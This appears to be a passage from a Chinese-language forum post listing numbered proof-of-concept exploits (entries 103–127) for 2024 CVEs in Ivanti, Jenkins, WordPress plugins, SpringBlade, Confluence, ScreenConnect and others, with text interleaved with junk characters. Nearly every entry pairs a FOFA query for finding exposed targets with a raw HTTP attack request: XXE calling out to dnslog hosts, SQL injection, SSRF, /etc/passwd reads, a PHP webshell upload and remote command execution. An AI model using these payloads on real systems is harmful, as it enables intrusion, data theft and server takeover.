<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

) y' q5 j, v9 X  f  D103. Ivanti Pulse Connect Secure VPN XXE
7 g7 W3 X+ c8 W' W: T& K5 TCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
: T8 m+ E9 w* s  |7 T3 yHost: 192.168.40.130:111
& Y& s0 _; P  W1 g7 T. a' s$ R3 I* y5 PUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
2 y/ m2 R5 c$ i( Z9 q8 Z2 q, oContent-Length: 204
7 r' q! n  G3 W* U5 G  n( ]Content-Type: application/x-www-form-urlencoded
' w" L" Q: l- H- qAccept-Encoding: gzip
; N& }9 q$ c1 Y3 Z! b* H- E
5 M6 |  k7 f  J- J# ~2 P+ f+ rSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
3 \: z# ?5 `" s; T' D
! c3 M5 N6 J4 T. p5 e
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

7 x* ]' s: l4 q+ Z
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
* i# t/ E4 O% Q- ]1 A1 z1 e0 CCVE-2024-0569
7 V. \5 l  h* v* s2 w' ^FOFA：title="TOTOLINK"
5 Z! J; h- s# M; qPOST /cgi-bin/cstecgi.cgi HTTP/1.1
" a* y% I1 W7 t+ eHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
( m& D3 ^* s/ [7 G; C' fX-Requested-with: XMLHttpRequest
! h4 n" F0 h5 v0 Y0 n3 W. x: {User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
) L" \4 o7 a9 `8 g1 o2 ^Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
4 Q0 Y5 {# F9 t7 k0 FConnection:close
3 w2 \# E$ A; s4 c
{
"topicurl":"getSysStatusCfg",
"token":""
: i1 f- f! }: g8 `9 N6 ?}

$ `7 P% A  I1 X) p0 h& j4 j7 R105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

2 B4 q. M; A. r# z106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
: N5 i% U( U5 g) h- ^Host: your-ip
0 f1 [5 B, x& s6 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! V0 i' `# S4 \Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  t) C! w. E/ ^5 wConnection: close

0 s+ K4 _- w' n4 j/ r! F
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
+ _! B5 `/ Z  VGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
3 K' C# z) N1 ~4 w' wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& Z1 R. Z" G# B0 I- w1 eBlade-Auth:替换为自己的
Connection: close
  r) P; s; n" v& U$ }: V
+ O$ K8 ^# @; j' j: @; F6 U7 V
108. D-Tale 3.9.0 SSRF
  R, o2 I- i- X% ~CVE-2024-21642
5 m/ ?8 b! z9 h% x  F0 PFOFA："dtale/static/images/favicon.png"
7 n2 l4 M5 S* ZGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
: g3 p7 S0 M+ }; }. `! ]! W/ KHost: your-ip
# [' Q) f- x; K( M5 }% fAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
& ~8 d) [* y8 t0 w2 V/ W* a, `Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


$ ~0 v* i& f$ m$ M- e' g3 x109. Jenkins CLI 任意文件读取
CVE-2024-23897
5 A- T; }9 H8 n+ J5 qFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
3 g5 P! X, T- n; \) z# n* |Host:
Content-type: application/octet-stream
) ]5 v# Z3 z9 k0 Z8 vSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
, E1 C7 F% V' _$ s/ k, ZConnection: keep-alive
+ W( `, r2 }3 ^3 U, GContent-Length: 163
* [, Z0 n% ?1 A" I! I$ B* W" n
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
: N1 }& }# N3 `& H" q: l4 R
8 w: u* ~$ I, k) g
POST /cli?remoting=false HTTP/1.1
& D) {% z$ o% v& T) A1 EHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
; D4 `# C& n+ _* y% i8 cContent-Type: application/x-www-form-urlencoded
Content-Length: 0
' q6 Q" ~5 W$ m9 g2 a  O
8 v; t, w$ |* ~# K( f* I8 h
) u. L/ z3 _0 B8 ^: mERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
' j* u% N: }! Z/ A" s5 H$ Kjava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
7 B0 {* q: [/ ^8 Y% s COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
+ f* j3 M* K7 L- t

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
1 f+ c" l0 r# U. c) m; E6 cFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
) ]  c+ _- y2 k( o) ^/ ^( z7 cUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
! Q! v! o9 V( C- V, t/ PAccept: */*
Accept-Language: en
( k& B# n1 `2 Q& V7 }4 g* ?Accept-Encoding: gzip

# J' p, o9 @' |& X
111. WordPress Plugin HTML5 Video Player SQL注入
7 u$ F4 c2 }8 m9 v/ nCVE-2024-1061
* m, c$ d0 W. z5 t+ L0 F! GFOFA："wordpress" && body="html5-video-player"
' E: `: Q8 p( R; c- VGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
# Y, ?$ l, ~. G( W7 S5 t# L8 _3 i6 xHost: 192.168.40.130:112
' O: ], f  O1 I6 Z, _% HUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 J- L2 i. n! \% @Connection: close
6 g2 x- f5 [9 R  w1 x. {# ~Accept: */*
; C- M( O6 v# |Accept-Language: en
2 G! g& A9 R" {% sAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
, L8 [9 C) h0 A5 n% jCVE-2024-1698
/ y6 L/ |- |/ w, C0 ^FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
  x" ], P3 U" {3 N% R: {Host: {{Hostname}}
* |# w4 ?8 c; W+ q- qContent-Type: application/json
5 z* u" p& H2 p
# {" X' t8 j6 x, C- j- e{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

- T/ G8 b8 W7 P( h
113. WordPress Automatic 插件任意文件下载和SSRF
7 G3 m1 S4 _4 LCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
8 M$ h, o/ R9 y8 dGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: L! O# S: L# w. {9 fConnection: close
Accept: */*
Accept-Language: en
7 J5 a- N; [# K9 x8 P  S( U# }Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
# Z! X7 K5 ^9 T+ F  d; ], lFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
5 X& g$ L8 D. @8 g' X1 eGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
- N- W' a6 u' X  G" KUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
0 \# [3 S! W, a$ f- y: J! dAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

: f! t1 U9 C* }+ @/ m# ]6 P: r1 m
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
% g( r: Y1 L# o& n1 jFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
3 R  Q9 }' h2 I& t+ LHost: x.x.x.x
" o5 T+ H' q2 a8 pUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
( O) G1 O, I; m: ZAccept-Encoding: gzip


; a" D* ?2 W; w$ I. R. a. ^. {第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
& ^1 \0 e9 c( P$ n9 V7 PAccept-Encoding: gzip

{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
! A7 e( m! a) C. s    "name": "container",
3 J) H/ x# ]4 g2 t& g    "settings": {
      "hasLoop": "true",
8 y1 ^% V% W7 X: P9 k* I7 i      "query": {
        "useQueryEditor": true,
7 ^0 N% V: |  }3 \) f& W* t        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
$ J6 `7 O, }; O0 x# D- x  [$ `" b7 B        "objectType": "post"
      }
+ L, {) ~/ C3 `5 O* R    }
! t0 _$ X$ G4 W! w: Z3 o1 K1 L  }
}
! p: q$ l) g5 V9 W. I3 t
$ M4 d! T9 j7 F9 S8 g9 r$ F
116. wordpress js-support-ticket文件上传
! [# j/ |1 X( `" i( E+ s2 nFOFA：body="wp-content/plugins/js-support-ticket"
. ?# E5 f: |, ^5 I( X# c2 sPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
+ Z, ~0 K) J& ~! X% Z- }Host:
" L$ y, a- s. V" P4 X" C: mContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
* y5 X9 Z! D$ d: l5 F  Q
----------767099171
Content-Disposition: form-data; name="action"
/ x$ q( j! ~( `2 _$ H) f% Nconfiguration_saveconfiguration
----------767099171
+ d* h1 k: C2 H& x5 z! ]0 XContent-Disposition: form-data; name="form_request"
  [7 m! r' r; x' D3 Kjssupportticket
! T  e7 M0 X7 `----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
/ N& V6 @4 h7 o: x$ L$ hContent-Type: image/png
----------767099171--


% y$ E9 F" f$ L7 ?117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
& P' D2 V: A- T8 l' `- HFOFA：body="/wp-content/plugins/LayerSlider/"
. C1 D; a4 W  iGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
! ~, ?' @0 w5 G# ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
0 R, i( `. c% O, }Connection: close
: q" h8 N" k5 g, z- h2 jUpgrade-Insecure-Requests: 1
, ^' d1 ?" S! T+ J! D- C

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
2 x' G3 o4 i) v) p  @1 M' AFOFA：title="Smart管理平台"
& d% C3 `3 ~' ]1 C1 sPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
' I# W: M2 ~+ g2 t0 U) O$ d0 Q8 `' aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" w, ?" O+ _1 X! dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
* n  I2 H3 N& Z$ ~3 X/ |" YOrigin: https://192.168.40.130:8443
4 w2 j3 c1 ~3 HReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
! C( N+ e% U  W. Q( I* fSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
4 Y/ H5 _$ v4 Y# a4 q7 B4 DSec-Fetch-User: ?1
0 ]; Z. K0 \' T' u5 Y7 l- C/ ]Te: trailers
( P( o$ J8 _4 w5 ]2 cConnection: close
5 I/ M5 A+ i6 `1 j% v. t, m
8 m6 a( {2 @  n. U' ~9 I2 w( z-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
+ u0 \+ e2 {$ {( B+ w. VContent-Type: application/octet-stream

<?php
system($_POST["passwd"]);
6 S- B9 x+ v0 F7 J4 g+ U* [' A" {- a$ ^?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

6 P+ _5 b1 M7 B6 }0 ~/home/src.php
-----------------------------13979701222747646634037182887--
& I- S2 ]: d! L% D- w9 Z

* d% C% X+ C; {: @" [0 T7 Q访问/home/src.php

) Q$ S5 }$ C# V1 f7 T; t2 C4 y119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
& y- E: p: g- ~3 C1 d; IFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
/ Q/ @) c' |- o1 lPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
4 R0 c; _6 i1 H" X) PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' c$ n+ C  j% o( ]/ y- \  YAccept-Encoding: gzip, deflate
; g, n$ Y  i  y4 I% k: C5 zContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
* A+ z" U7 H! t$ `: j: ]9 yReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
& t6 _* C. G$ k$ aSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
- ?4 o1 X* u2 ]Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
8 x; @" ]8 n# B- [# l" VX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
( e6 ^9 k% O" D  }) a+ }# vTe: trailers
2 k  Y6 \/ q& Y. p6 b  `$ O" c1 sConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
$ Y' h1 V/ i- j

120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
" \) U. K! O& ?5 TFOFA：title="Smart管理平台"
" @/ B- g3 Z9 ]# H) a( O2 ~POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
) G; X& h) U* y) p1 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 b% }) h: Y( K9 e. D$ N6 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 I8 d/ f: \9 M1 ~( [+ {Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
! R: m- m6 z; V6 o% a6 oReferer: https://ip:port/sysmanage/licence.php
0 N2 W9 J' Q: W6 E! Y7 GUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
& S, o. e& d: f3 `0 N# T2 nSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
/ g4 G* ?. T$ Q/ y* W! M$ _Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
2 Y8 V' w9 c- r8 ~-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
2 I; m  [  Q/ p+ W2 I
1 p" e6 a9 c' Kimport
-----------------------------42328904123665875270630079328
, B; |$ {  }' ?  h) v

+ ^2 Q+ N/ {, b* D3 N5 R文件路径/upload/2.php
* f& B. K9 X: `3 x
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
/ E' }. n& y+ \1 p) BFOFA：title="Smart管理平台"
) w4 I$ ]* }6 j8 a6 ]+ }' y' n, `9 HPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
7 _0 L1 n% G4 }User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
( S$ ?) T7 J; `; V, F/ U. t! qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 o9 m! ~9 }% v  \" K7 v0 W! @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ q/ P! m( l, w5 S- R/ qAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
  k, A7 G' r- TUpgrade-Insecure-Requests: 1
6 ^  ]! [, y7 g& O0 SSec-Fetch-Dest: document
$ p. i3 O) E. G7 U% t: f. DSec-Fetch-Mode: navigate
. |! _; ^3 O; e3 P0 jSec-Fetch-Site: same-origin
5 }' ?& r& H8 z0 lSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
! o6 y) Q3 c0 P7 ~1 }& w/ bContent-Type: application/octet-stream
! @+ Z, }+ X6 ]% w- x- w
<?php phpinfo();?>
% G/ @  c# _8 o! K; b: V' u& A-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

) P( `" X/ c7 ~1 L% u( ^1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
: T6 a, P1 b; W' @: _
2 p6 _4 g0 J! p4 x. b1_radhttp
; }4 n: X" B3 f, u8 M$ a-----------------------------42328904123665875270630079328
. H) y, v) L6 y% p* ?Content-Disposition: form-data; name="hidwel"

# H' P& d3 D* a& ^4 y/ Dset
-----------------------------42328904123665875270630079328


* ~8 B6 i! k7 n) Dboot/web/upload/weblogo/1.php
6 P/ }2 f! t" l5 l. n' f  f( i
122. 北京百绰智能s200管理平台/importexport.php sql注入
0 K( q- p& H- H# r. @CVE-2024-27718FOFA：title="Smart管理平台"
0 G1 ^; W0 M/ F# S其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
! {: v1 \3 T) ?5 h6 O) ^Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
, h3 G' {8 K" p: Z  xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ D' r* l- H$ @4 ~7 w6 |" JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
* O5 e" H6 j* }Sec-Fetch-Mode: navigate
5 \& ^* K# s& eSec-Fetch-Site: none
/ S) c% `' O5 J1 ^, V) M) Q: l! USec-Fetch-User: ?1
8 s( u8 x- c8 s9 L" v: m+ ~Te: trailers
) D; Y7 A1 Y  L1 L; B9 W! JConnection: close
0 b3 P6 ^) K1 n9 }, }( ]* M1 \( X
  W- K0 S6 V8 W+ q+ S
123. Atlassian Confluence 模板注入代码执行
; Q6 H) z3 T5 x* jFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
! k, t3 }4 d: i/ xPOST /template/aui/text-inline.vm HTTP/1.1
: T4 I: E$ [7 O8 c; e7 mHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
0 f8 _  \6 K3 @Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
' C# P! ]9 Y6 w  [( B, o! b. P( LConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
: `/ B4 w; P2 B1 K) [Content-Length: 72
: z, H& y6 t4 t$ H, ~) {! _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
* k9 m% d( l3 d6 s. n6 ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; H$ c, b/ v9 Q7 ^# }: e3 h' HConnection: close
Content-Type: application/x-www-form-urlencoded
6 e% l& x: K" m) q+ w# r
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
4 U2 o1 v! \& _" `0 |( o4 K+ Y

http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
3 R7 _0 q( L- X3 |  hCVE-2024-1709
3 a& j8 N) B2 i0 {: d, p1 t) RFOFA：icon_hash="-82958153"
, u- M/ p6 \) n3 K2 h! [" vhttps://github.com/watchtowrlabs ... bypass-add-user-poc

9 Q: |8 a2 G0 k3 t3 x* t  U* C3 w; o
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
! |9 W( ~8 p! L: r

0 W- u; V% q, h) |1 l% `. O, d, R创建好用户后直接登录后台，可以执行系统命令。
, H; H/ {; }" o7 ?
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
1 E- Y1 X4 e5 m% GGET /static/../../../../../etc/passwd HTTP/1.1
' s* H# h+ z% W3 Y: s2 s& @) AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
- E' f) A9 |# X9 Z$ \/ x4 X0 d! k  G) J" IConnection: close
Accept: */*
' ?( r( b2 a' g- ~7 g- J5 ?- dAccept-Language: en
Accept-Encoding: gzip

& E/ z: M! J) m: D4 d) C
1 c2 ?8 t( ?1 d. }6 m% K127. 广联达Linkworks DataExchange.ashx XXE
4 Y3 B( f- J( {; |9 _FOFA：body="Services/Identification/login.ashx"
# e+ u# h, m, L1 Z: kPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
/ }, }/ H' T1 w- L7 M& OContent-Length: 415
' k, H1 d3 H. j) G; O0 [6 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

; F( K" J! n( E- U; |" T1 _/ u- e: \------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
2 g% }8 Q0 S6 d5 C, z+ x
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
8 n% r1 i" I9 Y& t( H9 tContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
6 n4 Q& D, q* ]0 t0 z<!DOCTYPE test [
